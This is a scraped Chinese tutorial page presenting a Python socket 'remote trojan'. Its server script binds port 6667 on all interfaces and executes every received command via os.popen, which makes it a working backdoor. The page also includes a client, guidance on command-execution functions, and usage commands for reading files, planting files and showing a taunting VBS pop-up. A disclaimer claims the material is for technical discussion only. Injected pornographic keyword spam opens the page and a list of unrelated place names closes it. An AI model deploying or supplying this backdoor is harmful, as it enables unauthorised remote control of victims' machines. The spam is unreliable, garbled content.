最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python?Socket實(shí)現(xiàn)遠(yuǎn)程木馬彈窗詳解

 更新時(shí)間:2022年07月25日 15:53:10   作者:共黃昏  
這篇文章主要介紹了Python?Socket實(shí)現(xiàn)遠(yuǎn)程木馬彈窗詳解,Socket用來(lái)描述IP地址和端口,是通信鏈的句柄,應(yīng)用程序可以通過(guò)Socket向網(wǎng)絡(luò)發(fā)送請(qǐng)求或者應(yīng)答網(wǎng)絡(luò)請(qǐng)求

嚴(yán)正聲明:本文僅限于技術(shù)討論,嚴(yán)禁用于其他用途。

基礎(chǔ)知識(shí)

  • socket通信模塊:針對(duì)TCP/IP協(xié)議簇進(jìn)行的程序封裝,在Windows/Linux均有這樣底層模塊。
  • Unicode 有多種存儲(chǔ)方式,常見(jiàn)的有 UTF-8、UTF-16、UTF-32,它們分別用不同的二進(jìn)制格式來(lái)表示 Unicode 字符
  • 如果全部英文或英文與其他文字混合,但英文占絕大部分,用UTF-8就比UTF-16節(jié)省了很多空間.而如果全部是中文這樣類似的字符或者混合字符中中文占絕大多數(shù).UTF-16就占優(yōu)勢(shì)了,可以節(jié)省很多空間

編碼:

  • 英文多:建議用UTF-8編碼(utf-8是使用最多的編碼方式,是一種變長(zhǎng)字符編碼)
  • 中文多:建議用UTF-16編碼
  • 中文:window中文采用的是GBK格式編碼

netstat -ant :只顯示傳輸層的數(shù)據(jù) TCP,UDP連接,可以用來(lái)檢查socket服務(wù)是否起了

服務(wù)端(server)程序

import socket, os
def attack():
    try:
        s = socket.socket()
        s.bind(('0.0.0.0', 6667)) #   使用缺省地址,所有設(shè)備均可訪問(wèn)該服務(wù)器的6667端口
        s.listen()     #    對(duì)6667端口進(jìn)行監(jiān)聽
        chanel, client = s.accept() #   進(jìn)入阻塞狀態(tài),accept() 返回元組,接受來(lái)自客戶端的數(shù)據(jù),chanel:新的socket對(duì)象用于標(biāo)識(shí)出服務(wù)器和哪個(gè)客戶端連接進(jìn)行通信,  client: 客戶端的IP和端口
        while True:
            receive = chanel.recv(1024).decode()
            reply = os.popen(receive).read()
            chanel.send(f"命令{receive}的運(yùn)行結(jié)果:\n{reply}".encode())
    except:
        s.close()
        attack()
if __name__ == '__main__':
    attack()

客戶端(client)程序

import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667))	#192.168.137.1是socket服務(wù)器的地址
while True:
    sendstr = input("請(qǐng)輸入消息:")
    s.send(sendstr.encode())
    receive = s.recv(1024).decode()
    print(f"服務(wù)器回復(fù):{receive}")
    # s.close()

其他命令執(zhí)行函數(shù)

提示:需要導(dǎo)入 os 模塊—— import os

os.system('ipconfig')

os.popen('ipconfig').read()

eval()        # 將字符串按照Python代碼來(lái)執(zhí)行

該木馬程序的基本用法

1、查看文件內(nèi)容

window

type 文件絕對(duì)路徑

linux

cat 文件路徑

2、查看文件目錄

window

dir                #查看當(dāng)前文件路徑目錄
dir 文件路徑     #查看指定文件路徑目錄

linux

ls                #查看當(dāng)前文件路徑目錄
ll                #查看當(dāng)前文件路徑目錄詳細(xì)信息
ls 文件路徑         #查看指定文件路徑目錄
ll 文件路徑         #查看指定文件路徑目錄詳細(xì)信息

3、創(chuàng)建文件或目錄

windows

echo test >> demo.txt    #創(chuàng)建一個(gè)demo.txt文件,文件內(nèi)容為 test

linux

mkdir 路徑    #創(chuàng)建目錄
echo test >> demo.txt    #創(chuàng)建一個(gè)demo.txt文件,文件內(nèi)容為 test

4、調(diào)用windows應(yīng)用程序

調(diào)用計(jì)算器

calc.exe

調(diào)用其他引用程序

直接輸入應(yīng)用程序絕對(duì)路徑

5、調(diào)用Windows彈窗

echo msgbox("你中木馬了?。?quot;)  > E:\hi.vbs    
E:\hi.vbs

到此這篇關(guān)于Python Socket實(shí)現(xiàn)遠(yuǎn)程木馬彈窗詳解的文章就介紹到這了,更多相關(guān)Python Socket內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • python分布式編程實(shí)現(xiàn)過(guò)程解析

    python分布式編程實(shí)現(xiàn)過(guò)程解析

    這篇文章主要介紹了python分布式編程實(shí)現(xiàn)過(guò)程解析,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2019-11-11
  • python方向鍵控制上下左右代碼

    python方向鍵控制上下左右代碼

    這篇文章主要介紹了python方向鍵控制上下左右代碼,小編覺(jué)得還是挺不錯(cuò)的,具有一定借鑒價(jià)值,需要的朋友可以參考下
    2018-01-01
  • 分享13個(gè)非常有用的Python代碼片段

    分享13個(gè)非常有用的Python代碼片段

    大家好,這篇文章主要和大家分享13個(gè)Python中非常有用的代碼片段,感興趣的同學(xué)趕快來(lái)看一看吧,對(duì)你有幫助的話記得收藏一下
    2022-06-06
  • python 自動(dòng)軌跡繪制的實(shí)例代碼

    python 自動(dòng)軌跡繪制的實(shí)例代碼

    今天小編就為大家分享一篇python 自動(dòng)軌跡繪制的實(shí)例代碼,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧
    2019-07-07
  • python實(shí)現(xiàn)對(duì)數(shù)組按指定列排序

    python實(shí)現(xiàn)對(duì)數(shù)組按指定列排序

    這篇文章主要介紹了python實(shí)現(xiàn)對(duì)數(shù)組按指定列排序方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-02-02
  • python使用xslt提取網(wǎng)頁(yè)數(shù)據(jù)的方法

    python使用xslt提取網(wǎng)頁(yè)數(shù)據(jù)的方法

    這篇文章主要為大家詳細(xì)介紹了Python使用xslt提取網(wǎng)頁(yè)數(shù)據(jù)的方法,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2018-02-02
  • Python基于QQ郵箱實(shí)現(xiàn)SSL發(fā)送

    Python基于QQ郵箱實(shí)現(xiàn)SSL發(fā)送

    這篇文章主要介紹了Python基于QQ郵箱實(shí)現(xiàn)SSL發(fā)送,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-04-04
  • 使用python實(shí)現(xiàn)生成用戶信息

    使用python實(shí)現(xiàn)生成用戶信息

    這篇文章主要介紹了使用python實(shí)現(xiàn)生成用戶信息的相關(guān)代碼,非常的簡(jiǎn)單實(shí)用,需要的朋友可以參考下
    2017-03-03
  • Django2 連接MySQL及model測(cè)試實(shí)例分析

    Django2 連接MySQL及model測(cè)試實(shí)例分析

    這篇文章主要介紹了Django2 連接MySQL及model測(cè)試,結(jié)合實(shí)例形式分析了Django2框架使用pymysql庫(kù)進(jìn)行mysql數(shù)據(jù)庫(kù)連接與model調(diào)用測(cè)試方法,需要的朋友可以參考下
    2019-12-12
  • Python3.5文件讀與寫操作經(jīng)典實(shí)例詳解

    Python3.5文件讀與寫操作經(jīng)典實(shí)例詳解

    這篇文章主要介紹了Python3.5文件讀與寫操作,結(jié)合實(shí)例形式詳細(xì)分析了Python針對(duì)文件的讀寫操作常用技巧與相關(guān)操作注意事項(xiàng),需要的朋友可以參考下
    2019-05-05

最新評(píng)論

松潘县| 乐亭县| 奈曼旗| 镇沅| 凤山县| 南城县| 达拉特旗| 子洲县| 上饶县| 梓潼县| 木里| 扶余县| 桓台县| 天长市| 兰考县| 阳江市| 宁明县| 广元市| 都匀市| 双流县| 奉节县| 甘洛县| 岳阳市| 淳安县| 荣成市| 友谊县| 扎鲁特旗| 介休市| 天水市| 怀来县| 平利县| 遂昌县| 云林县| 仙游县| 迭部县| 南部县| 龙南县| 刚察县| 泽州县| 东至县| 陕西省|